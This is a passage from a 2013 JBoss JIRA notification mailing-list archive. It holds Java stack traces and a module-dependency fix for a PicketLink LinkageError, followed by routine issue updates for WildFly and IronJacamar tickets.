at org.apache.cxf.phase.PhaseInterceptorChain.doIntercept(PhaseInterceptorChain.java:272) [cxf-api.jar:2.7.7.SNAPSHOT]
at org.apache.cxf.transport.ChainInitiationObserver.onMessage(ChainInitiationObserver.java:121) [cxf-api.jar:2.7.7.SNAPSHOT]
at org.apache.cxf.transport.http.AbstractHTTPDestination.invoke(AbstractHTTPDestination.java:239)
at org.jboss.wsf.stack.cxf.RequestHandlerImpl.handleHttpRequest(RequestHandlerImpl.java:93)
at org.jboss.wsf.stack.cxf.transport.ServletHelper.callRequestHandler(ServletHelper.java:143)
at org.jboss.wsf.stack.cxf.CXFServletExt.invoke(CXFServletExt.java:87)
at org.apache.cxf.transport.servlet.AbstractHTTPServlet.handleRequest(AbstractHTTPServlet.java:286)
at org.apache.cxf.transport.servlet.AbstractHTTPServlet.doPost(AbstractHTTPServlet.java:206)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:707) [jboss-servlet-api_3.1_spec-1.0.0.Beta1.jar:1.0.0.Beta1]
at org.jboss.wsf.stack.cxf.CXFServletExt.service(CXFServletExt.java:135)
at org.jboss.wsf.spi.deployment.WSFServlet.service(WSFServlet.java:140) [jbossws-spi.jar:2.2.1-SNAPSHOT]
at javax.servlet.http.HttpServlet.service(HttpServlet.java:790) [jboss-servlet-api_3.1_spec-1.0.0.Beta1.jar:1.0.0.Beta1]
at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:130) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta11.jar:1.0.0.Beta11]
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta11.jar:1.0.0.Beta11]
at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:85) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:59) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:81)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta11.jar:1.0.0.Beta11]
at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:113) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta11.jar:1.0.0.Beta11]
at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta11.jar:1.0.0.Beta11]
at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta11.jar:1.0.0.Beta11]
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta11.jar:1.0.0.Beta11]
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta11.jar:1.0.0.Beta11]
at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:207) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:194) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:72) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:128) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta11.jar:1.0.0.Beta11]
at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:614) [undertow-core-1.0.0.Beta11.jar:1.0.0.Beta11]
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_15]
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_15]
at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_15]
{noformat}

  was:
A linkage error javax.xml.crypto.dsig.XMLSignContext is thrown when a XMLSignatureFactory is first resolved by PicketLink (instead of the WS subsystem) on WFLY.
This should be fixed by tuning the module dependencies in org.picketlink module, either by modifying the relative order of org.apache.santuario.xmlsec and javax.api modules, or -better by setting an exclude block as follows:

{noformat}
        ...
        <module name="org.apache.santuario.xmlsec">
            <imports>
                <exclude path="javax/*"/>
            </imports>
        </module>
        ...
{noformat}


    
> PicketLink: java.lang.LinkageError during loading javax.xml.crypto.dsig.XMLSignContext
> --------------------------------------------------------------------------------------
>
>                 Key: WFLY-1969
>                 URL: https://issues.jboss.org/browse/WFLY-1969
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web Services
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Alessio Soldano
>            Assignee: Alessio Soldano
>             Fix For: 8.0.0.Beta1
>
>
> A linkage error javax.xml.crypto.dsig.XMLSignContext is thrown when a XMLSignatureFactory is first resolved by PicketLink (instead of the WS subsystem) on WFLY.
> This should be fixed by tuning the module dependencies in org.picketlink module, either by modifying the relative order of org.apache.santuario.xmlsec and javax.api modules, or -better by setting an exclude block as follows:
> {noformat}
>         ...
>         <module name="org.apache.santuario.xmlsec">
>             <imports>
>                 <exclude path="javax/*"/>
>             </imports>
>         </module>
>         ...
> {noformat}
> Exception:
> {noformat}
> 23:47:46,400 ERROR org.jboss.as.webservices.invocation.InvocationHandlerJAXWS JBAS015594: Method invocation failed with exception: loader constraint violation: loader (instance of org/jboss/modules/ModuleClassLoader) previously initiated loading for a different type with name "javax/xml/crypto/dsig/XMLSignContext": java.lang.LinkageError: loader constraint violation: loader (instance of org/jboss/modules/ModuleClassLoader) previously initiated loading for a different type with name "javax/xml/crypto/dsig/XMLSignContext"
> at java.lang.ClassLoader.defineClass1(Native Method) [rt.jar:1.7.0_15]
> at java.lang.ClassLoader.defineClass(ClassLoader.java:791) [rt.jar:1.7.0_15]
> at org.jboss.modules.ModuleClassLoader.doDefineOrLoadClass(ModuleClassLoader.java:345) [jboss-modules.jar:1.3.0.Beta3]
> at org.jboss.modules.ModuleClassLoader.defineClass(ModuleClassLoader.java:423) [jboss-modules.jar:1.3.0.Beta3]
> at org.jboss.modules.ModuleClassLoader.loadClassLocal(ModuleClassLoader.java:261) [jboss-modules.jar:1.3.0.Beta3]
> at org.jboss.modules.ModuleClassLoader$1.loadClassLocal(ModuleClassLoader.java:76) [jboss-modules.jar:1.3.0.Beta3]
> at org.jboss.modules.Module.loadModuleClass(Module.java:548) [jboss-modules.jar:1.3.0.Beta3]
> at org.jboss.modules.ModuleClassLoader.findClass(ModuleClassLoader.java:189) [jboss-modules.jar:1.3.0.Beta3]
> at org.jboss.modules.ConcurrentClassLoader.performLoadClassUnchecked(ConcurrentClassLoader.java:443) [jboss-modules.jar:1.3.0.Beta3]
> at org.jboss.modules.ConcurrentClassLoader.performLoadClassChecked(ConcurrentClassLoader.java:431) [jboss-modules.jar:1.3.0.Beta3]
> at org.jboss.modules.ConcurrentClassLoader.performLoadClass(ConcurrentClassLoader.java:373) [jboss-modules.jar:1.3.0.Beta3]
> at org.jboss.modules.ConcurrentClassLoader.loadClass(ConcurrentClassLoader.java:118) [jboss-modules.jar:1.3.0.Beta3]
> at org.picketlink.identity.federation.core.wstrust.StandardRequestHandler.postProcess(StandardRequestHandler.java:561) [picketlink-core-2.1.7.Final.jar:2.1.7.Final]
> at org.picketlink.identity.federation.core.wstrust.PicketLinkSTS.handleTokenRequest(PicketLinkSTS.java:220) [picketlink-core-2.1.7.Final.jar:2.1.7.Final]
> at org.picketlink.identity.federation.core.wstrust.PicketLinkSTS.invoke(PicketLinkSTS.java:150) [picketlink-core-2.1.7.Final.jar:2.1.7.Final]
> at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_15]
> at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_15]
> at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_15]
> at java.lang.reflect.Method.invoke(Method.java:601) [rt.jar:1.7.0_15]
> at org.jboss.as.ee.component.ManagedReferenceMethodInterceptorFactory$ManagedReferenceMethodInterceptor.processInvocation(ManagedReferenceMethodInterceptorFactory.java:72)
> at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
> at org.jboss.as.ee.concurrent.ConcurrentContextInterceptor.processInvocation(ConcurrentContextInterceptor.java:48)
> at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
> at org.jboss.invocation.WeavedInterceptor.processInvocation(WeavedInterceptor.java:53)
> at org.jboss.as.ee.component.interceptors.UserInterceptorFactory$1.processInvocation(UserInterceptorFactory.java:63)
> at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
> at org.jboss.invocation.WeavedInterceptor.processInvocation(WeavedInterceptor.java:53)
> at org.jboss.as.ee.component.interceptors.UserInterceptorFactory$1.processInvocation(UserInterceptorFactory.java:63)
> at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
> at org.jboss.invocation.InitialInterceptor.processInvocation(InitialInterceptor.java:21)
> at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
> at org.jboss.invocation.ChainedInterceptor.processInvocation(ChainedInterceptor.java:61)
> at org.jboss.as.ee.component.interceptors.ComponentDispatcherInterceptor.processInvocation(ComponentDispatcherInterceptor.java:53)
> at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
> at org.jboss.as.webservices.deployers.WSComponentInstanceAssociationInterceptor.processInvocation(WSComponentInstanceAssociationInterceptor.java:49)
> at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
> at org.jboss.invocation.InterceptorContext.run(InterceptorContext.java:325)
> at org.wildfly.security.manager.WildFlySecurityManager.doChecked(WildFlySecurityManager.java:428)
> at org.wildfly.security.manager.AccessCheckingInterceptor.processInvocation(AccessCheckingInterceptor.java:63)
> at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
> at org.jboss.invocation.InterceptorContext.run(InterceptorContext.java:325)
> at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_15]
> at org.jboss.invocation.PrivilegedInterceptor.processInvocation(PrivilegedInterceptor.java:75)
> at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
> at org.jboss.invocation.ChainedInterceptor.processInvocation(ChainedInterceptor.java:61)
> at org.jboss.as.ee.component.ViewService$View.invoke(ViewService.java:165)
> at org.jboss.as.webservices.invocation.AbstractInvocationHandler.invoke(AbstractInvocationHandler.java:112)
> at org.jboss.wsf.stack.cxf.JBossWSInvoker.performInvocation(JBossWSInvoker.java:149)
> at org.apache.cxf.service.invoker.AbstractInvoker.invoke(AbstractInvoker.java:96) [cxf-api.jar:2.7.7.SNAPSHOT]
> at org.apache.cxf.jaxws.AbstractJAXWSMethodInvoker.invoke(AbstractJAXWSMethodInvoker.java:178)
> at org.apache.cxf.jaxws.JAXWSMethodInvoker.invoke(JAXWSMethodInvoker.java:68)
> at org.jboss.wsf.stack.cxf.JBossWSInvoker.invoke(JBossWSInvoker.java:129)
> at org.apache.cxf.interceptor.ServiceInvokerInterceptor$1.run(ServiceInvokerInterceptor.java:57) [cxf-api.jar:2.7.7.SNAPSHOT]
> at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:471) [rt.jar:1.7.0_15]
> at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:334) [rt.jar:1.7.0_15]
> at java.util.concurrent.FutureTask.run(FutureTask.java:166) [rt.jar:1.7.0_15]
> at org.apache.cxf.workqueue.SynchronousExecutor.execute(SynchronousExecutor.java:37) [cxf-api.jar:2.7.7.SNAPSHOT]
> at org.apache.cxf.interceptor.ServiceInvokerInterceptor.handleMessage(ServiceInvokerInterceptor.java:106) [cxf-api.jar:2.7.7.SNAPSHOT]
> at org.apache.cxf.phase.PhaseInterceptorChain.doIntercept(PhaseInterceptorChain.java:272) [cxf-api.jar:2.7.7.SNAPSHOT]
> at org.apache.cxf.transport.ChainInitiationObserver.onMessage(ChainInitiationObserver.java:121) [cxf-api.jar:2.7.7.SNAPSHOT]
> at org.apache.cxf.transport.http.AbstractHTTPDestination.invoke(AbstractHTTPDestination.java:239)
> at org.jboss.wsf.stack.cxf.RequestHandlerImpl.handleHttpRequest(RequestHandlerImpl.java:93)
> at org.jboss.wsf.stack.cxf.transport.ServletHelper.callRequestHandler(ServletHelper.java:143)
> at org.jboss.wsf.stack.cxf.CXFServletExt.invoke(CXFServletExt.java:87)
> at org.apache.cxf.transport.servlet.AbstractHTTPServlet.handleRequest(AbstractHTTPServlet.java:286)
> at org.apache.cxf.transport.servlet.AbstractHTTPServlet.doPost(AbstractHTTPServlet.java:206)
> at javax.servlet.http.HttpServlet.service(HttpServlet.java:707) [jboss-servlet-api_3.1_spec-1.0.0.Beta1.jar:1.0.0.Beta1]
> at org.jboss.wsf.stack.cxf.CXFServletExt.service(CXFServletExt.java:135)
> at org.jboss.wsf.spi.deployment.WSFServlet.service(WSFServlet.java:140) [jbossws-spi.jar:2.2.1-SNAPSHOT]
> at javax.servlet.http.HttpServlet.service(HttpServlet.java:790) [jboss-servlet-api_3.1_spec-1.0.0.Beta1.jar:1.0.0.Beta1]
> at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:130) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta11.jar:1.0.0.Beta11]
> at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta11.jar:1.0.0.Beta11]
> at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:85) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:59) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:81)
> at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta11.jar:1.0.0.Beta11]
> at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:113) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta11.jar:1.0.0.Beta11]
> at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta11.jar:1.0.0.Beta11]
> at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta11.jar:1.0.0.Beta11]
> at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta11.jar:1.0.0.Beta11]
> at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta11.jar:1.0.0.Beta11]
> at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:207) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:194) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:72) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:128) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta11.jar:1.0.0.Beta11]
> at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:614) [undertow-core-1.0.0.Beta11.jar:1.0.0.Beta11]
> at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_15]
> at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_15]
> at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_15]
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 20:22:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 20:22:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1972) CLI command should not allow
 same runtime-name to be used at another deploy
In-Reply-To: <JIRA.12499646.1377792094000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499646.1377792094000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499646.1377792094000.7326.1378254123425@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1972?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801357#comment-12801357 ] 

RH Bugzilla Integration commented on WFLY-1972:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 983980|https://bugzilla.redhat.com/show_bug.cgi?id=983980] from ASSIGNED to POST
                
> CLI command should not allow same runtime-name to be used at another deploy
> ---------------------------------------------------------------------------
>
>                 Key: WFLY-1972
>                 URL: https://issues.jboss.org/browse/WFLY-1972
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Emmanuel Hugonnet
>            Assignee: Brian Stansberry
>
> Having two deployments with the same runtime-name in the domain content repository, so they can be deployed to different instances, is ok.
> Having two deployments with the same runtime name actually deployed to an instance is not (that's the issue here).
> Same for standalone.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 21:18:03 2013
From: jira-events at lists.jboss.org (Lin Gao (JIRA))
Date: Tue, 3 Sep 2013 21:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1076) CLONE - JBoss Logging
 Processor 1.1.0.Final to 1.0 branch
In-Reply-To: <JIRA.12499878.1378257462342@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499878.1378257462342@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499878.1378257462342.7348.1378257483438@jira02.app.mwc.hst.phx2.redhat.com>

Lin Gao created JBJCA-1076:
------------------------------

             Summary: CLONE - JBoss Logging Processor 1.1.0.Final to 1.0 branch
                 Key: JBJCA-1076
                 URL: https://issues.jboss.org/browse/JBJCA-1076
             Project: IronJacamar
          Issue Type: Component Upgrade
          Components: Build
            Reporter: Lin Gao
            Assignee: Jesper Pedersen
             Fix For: 1.1.0.Beta4




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 21:18:03 2013
From: jira-events at lists.jboss.org (Lin Gao (JIRA))
Date: Tue, 3 Sep 2013 21:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1076) CLONE - JBoss Logging
 Processor 1.1.0.Final to 1.0 branch
In-Reply-To: <JIRA.12499878.1378257462000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499878.1378257462000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499878.1378257462000.7350.1378257483529@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBJCA-1076?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Lin Gao reassigned JBJCA-1076:
------------------------------

    Assignee: Lin Gao  (was: Jesper Pedersen)

    
> CLONE - JBoss Logging Processor 1.1.0.Final to 1.0 branch
> ---------------------------------------------------------
>
>                 Key: JBJCA-1076
>                 URL: https://issues.jboss.org/browse/JBJCA-1076
>             Project: IronJacamar
>          Issue Type: Component Upgrade
>          Components: Build
>            Reporter: Lin Gao
>            Assignee: Lin Gao
>             Fix For: 1.1.0.Beta4
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 21:20:03 2013
From: jira-events at lists.jboss.org (Lin Gao (JIRA))
Date: Tue, 3 Sep 2013 21:20:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1076) CLONE - JBoss Logging
 Processor 1.1.0.Final to 1.0 branch
In-Reply-To: <JIRA.12499878.1378257462000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499878.1378257462000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499878.1378257462000.7358.1378257603644@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBJCA-1076?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Lin Gao updated JBJCA-1076:
---------------------------

       Fix Version/s:     (was: 1.1.0.Beta4)
    Git Pull Request: https://github.com/ironjacamar/ironjacamar/pull/68

    
> CLONE - JBoss Logging Processor 1.1.0.Final to 1.0 branch
> ---------------------------------------------------------
>
>                 Key: JBJCA-1076
>                 URL: https://issues.jboss.org/browse/JBJCA-1076
>             Project: IronJacamar
>          Issue Type: Component Upgrade
>          Components: Build
>            Reporter: Lin Gao
>            Assignee: Lin Gao
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 21:29:03 2013
From: jira-events at lists.jboss.org (Lin Gao (JIRA))
Date: Tue, 3 Sep 2013 21:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1076) CLONE - JBoss Logging
 Processor 1.1.0.Final to 1.0 branch
In-Reply-To: <JIRA.12499878.1378257462000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499878.1378257462000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499878.1378257462000.7366.1378258143397@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBJCA-1076?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Lin Gao updated JBJCA-1076:
---------------------------

    Description: 
Backported to branch 1.0

The upgrade of jboss-logging-processor:1.1.0.Final needs one more dependency: org.jboss.jdeparser:jdeparser:1.0.0.Final added to ivy.xml

    
> CLONE - JBoss Logging Processor 1.1.0.Final to 1.0 branch
> ---------------------------------------------------------
>
>                 Key: JBJCA-1076
>                 URL: https://issues.jboss.org/browse/JBJCA-1076
>             Project: IronJacamar
>          Issue Type: Component Upgrade
>          Components: Build
>            Reporter: Lin Gao
>            Assignee: Lin Gao
>
> Backported to branch 1.0
> The upgrade of jboss-logging-processor:1.1.0.Final needs one more dependency: org.jboss.jdeparser:jdeparser:1.0.0.Final added to ivy.xml

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 22:45:03 2013
From: jira-events at lists.jboss.org (Jeff Zhang (JIRA))
Date: Tue, 3 Sep 2013 22:45:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1072) Destroy ManagedConnection
	after use
In-Reply-To: <JIRA.12499448.1377612552000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499448.1377612552000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499448.1377612552000.7369.1378262703676@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBJCA-1072?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jeff Zhang resolved JBJCA-1072.
-------------------------------

    Resolution: Done

    
> Destroy ManagedConnection after use
> -----------------------------------
>
>                 Key: JBJCA-1072
>                 URL: https://issues.jboss.org/browse/JBJCA-1072
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: AS
>    Affects Versions: 1.1.0.Final
>            Reporter: Jesper Pedersen
>            Assignee: Jeff Zhang
>             Fix For: 1.1.1.Final
>
>
> The RAR info tool must destroy any ManagedConnection after use.
> {noformat}
> ManagedConnection mc = null;
> try
> {
>   mc = ...
> }
> catch (Exception e)
> {
> }
> finally
> {
>    if (mc != null)
>       mc.destroy();
> }
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 22:45:03 2013
From: jira-events at lists.jboss.org (Jeff Zhang (JIRA))
Date: Tue, 3 Sep 2013 22:45:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1071) Config-property should be
	applied to MCF
In-Reply-To: <JIRA.12499447.1377612449000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499447.1377612449000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499447.1377612449000.7372.1378262703926@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBJCA-1071?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jeff Zhang resolved JBJCA-1071.
-------------------------------

    Resolution: Done

    
> Config-property should be applied to MCF
> ----------------------------------------
>
>                 Key: JBJCA-1071
>                 URL: https://issues.jboss.org/browse/JBJCA-1071
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: AS
>    Affects Versions: 1.1.0.Final
>            Reporter: Jesper Pedersen
>            Assignee: Jeff Zhang
>             Fix For: 1.1.1.Final
>
>
> The RAR info tool should apply config-property's with values assigned to them to the MCF instances created during the tool run.
> F.ex. in hasDissociatableMcInterface.
> Use org.jboss.jca.core.util.Injection to apply the values.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 00:06:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
